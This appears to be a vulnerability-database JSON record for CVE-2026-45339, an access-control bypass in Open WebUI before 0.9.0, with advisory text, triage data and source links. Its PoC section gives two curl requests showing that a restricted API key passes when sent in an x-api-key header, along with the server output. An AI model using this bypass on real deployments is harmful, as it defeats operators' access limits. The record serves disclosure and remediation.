{"id":"CVE-2026-45339","kind":"vulnerability","aliases":["CVE-2026-45339","GHSA-57q6-fvp4-pqmm"],"related":[],"title":"Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints","description":"### Summary\n\nOpen WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from `/api/v1/messages`, requests using the `Authorization: Bearer sk-...` header are correctly blocked with 403. However, the same key sent via the `x-api-key` header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.\n\n### Details\n\nOpen WebUI's Anthropic-compatible API path accepts authentication via `x-api-key` header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the `Authorization` header. When the same `sk-...` key is supplied in `x-api-key`, the restriction check is skipped but the key is still valid for authentication.\n\nThis means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using `x-api-key` instead of `Authorization`.\n\n### PoC\n\n**Verified against Open WebUI v0.8.11.**\n\n**Setup:** Admin creates a user with an API key that has endpoint restrictions (not allowed on `/api/v1/messages`). A mock OpenAI-compatible model (`mock-model`) is configured.\n\n```bash\nAPI_KEY=\"sk-dc56016d720e49ba9e95584d602b79bb\"\n\n# Test 1: Authorization header — BLOCKED (endpoint restriction enforced)\ncurl -s -X POST http://target:8080/api/v1/messages \\\n  -H \"Authorization: Bearer $API_KEY\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"model\":\"mock-model\",\"messages\":[{\"role\":\"user\",\"content\":\"via Authorization header\"}]}'\n\n# Test 2: x-api-key header — BYPASS (same key, restriction skipped)\ncurl -s -X POST http://target:8080/api/v1/messages \\\n  -H \"x-api-key: $API_KEY\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"model\":\"mock-model\",\"messages\":[{\"role\":\"user\",\"content\":\"via x-api-key header\"}]}'\n```\n\n**Verified output:**\n\n```\n# Authorization header:\n{\"detail\":\"API key not allowed to access this endpoint.\"}\n\n# x-api-key header (SAME key):\n{\"id\":\"chatcmpl-mock\",\"type\":\"message\",\"role\":\"assistant\",\"content\":[{\"type\":\"text\",\"text\":\"MOCK-CHAT-RESPONSE\"}],\"model\":\"mock-model\",\"usage\":{\"input_tokens\":1,\"output_tokens\":1}}\n```\n\nThe same API key is rejected via `Authorization` (403) but fully processed via `x-api-key` (200 with model response).\n\n### Impact\n\nAny API key with endpoint restrictions can bypass those restrictions by using the `x-api-key` header instead of `Authorization`. This undermines the entire API key permission model:\n\n- Keys restricted from chat/completion endpoints can still send messages and receive LLM responses\n- Keys restricted from admin endpoints may access admin functionality\n- The operator's intended access control is silently ineffective\n- API credit spend cannot be controlled through endpoint restrictions","summary":"Open WebUI API keys with endpoint restrictions can be used to reach restricted endpoints by sending the key in the x-api-key header instead of Authorization. The request is authenticated and the model responds, so the operator's access limits do not apply.","severity":"medium","cvss":6.5,"epss":0.00309,"exploited":false,"exploited_at":null,"products":[{"name":"open-webui","fixed":["0.9.0"],"affected":"< 0.9.0","ecosystem":"pypi"},{"name":"openwebui open webui","fixed":["0.9.0"],"affected":"< 0.9.0","ecosystem":"vendor"}],"ecosystems":["pypi","vendor"],"tags":["ai-tooling","api-keys","cwe-863","open-webui","python","self-hosted"],"not_affected_if":["no-api-keys-issued","no-endpoint-restrictions"],"how_to_check":"- Check the installed version: `pip show open-webui` and confirm it is below `0.9.0`.\n- Look for API keys with endpoint restrictions in the admin settings and test whether a restricted endpoint such as `/api/v1/messages` returns 200 when the key is sent via `x-api-key`.","fix":"- `open-webui` `0.9.0` (fixed version per the advisory product range)","status":"open","published_at":"2026-05-14T20:21:26+00:00","first_seen_at":"2026-11-03T21:52:03+00:00","triaged_at":"2026-11-03T21:53:20+00:00","updated_at":"2026-11-03T22:07:19+00:00","category":"ai-tooling","confidence":0.8,"triage":{"at":"2026-11-03T21:53:20Z","model":"claude-haiku-5-5","output":{"fix":"- `open-webui` `0.9.0` (fixed version per the advisory product range)","reach":"network","title":"Open WebUI: x-api-key header skips API key endpoint restrictions","impact":"medium","summary":"Open WebUI API keys with endpoint restrictions can be used to reach restricted endpoints by sending the key in the x-api-key header instead of Authorization. The request is authenticated and the model responds, so the operator's access limits do not apply.","audience":"businesses","category":"ai-tooling","nicknames":[],"who_cares":["open-webui","self-hosted","api-keys","python"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Restricted API keys reach LLM endpoints and admin functions they were blocked from.","analyst_note":"","how_to_check":"- Check the installed version: `pip show open-webui` and confirm it is below `0.9.0`.\n- Look for API keys with endpoint restrictions in the admin settings and test whether a restricted endpoint such as `/api/v1/messages` returns 200 when the key is sent via `x-api-key`.","plain_action":"","needs_analyst":false,"not_affected_if":["no-endpoint-restrictions","no-api-keys-issued"],"who_is_affected":"Teams running self-hosted Open WebUI that issue API keys with endpoint restrictions are exposed, because restricted keys still work on restricted endpoints via the x-api-key header. Deployments that do not use endpoint restrictions on API keys, or that do not issue API keys at all, are not meaningfully affected by this bypass.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.000815,"input_tokens":5186,"output_tokens":592,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-2026':22A,30A '-45339':23A,31A '-863':45B '/api/v1/messages':120C,271C '1':290C,413C,416C '2':326C '200':434C '403':132C,425C '57q6':26A '8080/api/v1/messages':302C,342C 'accept':172C 'access':93B,112C,235C,380C,487C,494C 'admin':102C,256C,484C,488C 'ai':39B 'ai-tool':38B 'allow':101C,269C,378C 'anthrop':168C,183C 'anthropic-compat':167C 'api':4A,12A,42B,55B,75B,106C,109C,115C,142C,170C,177C,184C,208C,226C,237C,244C,262C,284C,306C,329C,346C,348C,367C,375C,385C,419C,432C,440C,454C,464C,499C 'api-key':41B 'appli':97B,190C 'application/json':312C,354C 'assist':397C 'authent':84B,152C,173C,222C 'author':80B,124C,196C,248C,291C,304C,323C,372C,424C,459C 'bash':283C 'bearer':125C,305C 'block':130C,293C 'bypass':8A,145C,332C,446C 'cannot':502C 'chat':404C 'chat/completion':471C 'chatcmpl':392C 'chatcmpl-mock':391C 'check':188C,212C 'compat':169C,276C 'configur':231C,282C 'content':310C,321C,352C,363C,398C 'content-typ':309C,351C 'control':495C,504C 'correct':129C 'creat':257C 'credit':500C 'curl':297C,337C 'cve':21A,29A 'cwe':44B 'd':313C,355C 'dc56016d720e49ba9e95584d602b79bb':288C 'detail':163C,374C 'endpoint':6A,20A,58B,66B,107C,186C,232C,238C,266C,294C,382C,443C,472C,485C,506C 'enforc':296C 'entir':148C,463C 'full':15A,159C 'fulli':427C 'function':489C 'fvp4':27A 'ghsa':25A 'ghsa-57q6-fvp4-pqmm':24A 'h':303C,308C,343C,350C 'header':14A,77B,127C,144C,179C,197C,292C,324C,331C,369C,373C,387C,456C 'host':52B 'howev':133C 'id':390C 'impact':438C 'ineffect':498C 'input':411C 'instead':78B,246C,457C 'intend':493C 'invok':156C 'key':5A,13A,43B,56B,70B,76B,110C,116C,136C,143C,178C,192C,202C,209C,217C,227C,245C,263C,285C,307C,330C,334C,347C,349C,368C,376C,386C,389C,420C,433C,441C,455C,465C,468C,481C 'limit':94B 'llm':479C 'may':486C 'mean':224C 'messag':16A,318C,360C,395C,476C 'mock':273C,279C,316C,358C,393C,403C,408C 'mock-chat-respons':402C 'mock-model':278C,315C,357C,407C 'model':87B,154C,277C,280C,314C,317C,356C,359C,406C,409C,436C,467C 'open':1A,33A,36A,47B,53B,99C,164C,252C 'open-webui':32A,46B 'openai':275C 'openai-compat':274C 'openwebui':35A 'oper':91B,491C 'output':371C,414C 'path':171C 'permiss':466C 'poc':249C 'post':300C,340C 'pqmm':28A 'present':193C 'process':17A,428C 'python':49B 'reach':64B 'receiv':478C 'regardless':228C 'reject':422C 'request':82B,121C,150C 'respond':88B 'respons':160C,405C,437C,480C 'restrict':7A,19A,59B,65B,104C,118C,147C,187C,211C,233C,267C,295C,335C,444C,448C,469C,482C,507C 'return':162C 'role':319C,361C,396C 'self':51B 'self-host':50B 'send':68B,475C 'sent':137C 'setup':255C 'silent':497C 'simpli':240C 'sk':126C,201C,287C 'sk-dc56016d720e49ba9e95584d602b79bb':286C 'skip':214C,336C 'spend':501C 'standard':180C 'still':219C,474C 'summari':98C 'suppli':204C 'target':301C,341C 'test':289C,325C 'text':400C,401C 'token':412C,415C 'tool':40B 'type':311C,353C,394C,399C 'undermin':461C 'usag':410C 'use':62B,122C,241C,450C 'user':259C,320C,362C 'v0.8.11':254C 'valid':220C 'verifi':250C,370C 'via':9A,138C,174C,194C,322C,364C,423C,429C 'webui':2A,34A,37A,48B,54B,100C,165C,253C 'x':11A,74B,141C,176C,207C,243C,299C,328C,339C,345C,366C,384C,431C,453C 'x-api-key':10A,73B,140C,175C,206C,242C,327C,344C,365C,383C,430C,452C","nicknames":[],"mitigations":[],"who_affected":"Teams running self-hosted Open WebUI that issue API keys with endpoint restrictions are exposed, because restricted keys still work on restricted endpoints via the x-api-key header. Deployments that do not use endpoint restrictions on API keys, or that do not issue API keys at all, are not meaningfully affected by this bypass.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["openwebui","openwebuiopenwebui"],"ptokens":["open","openwebui","webui"],"labels":["aitooling","apikeys","cwe863","medium","openwebui","pypi","python","selfhosted","vendor"],"campaign_type":null,"first_public_at":"2026-05-09T19:38:54+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-57q6-fvp4-pqmm","url":"https://github.com/advisories/GHSA-57q6-fvp4-pqmm","severity":"medium","published_at":"2026-05-14T20:21:26+00:00","modified_at":"2026-11-03T21:48:50+00:00","first_seen_at":"2026-11-03T21:52:03+00:00","fetched_at":"2026-11-03T21:57:18+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-45339","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45339","severity":null,"published_at":"2026-05-15T20:16:48+00:00","modified_at":"2026-06-17T10:51:56+00:00","first_seen_at":"2026-11-03T22:07:19+00:00","fetched_at":"2026-11-03T22:07:19+00:00","note":null}],"documents":[{"id":60997,"url":"https://api.github.com/repos/open-webui/open-webui/security-advisories/GHSA-57q6-fvp4-pqmm","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":60998,"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-57q6-fvp4-pqmm","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-05-09T19:38:54+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":60999,"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}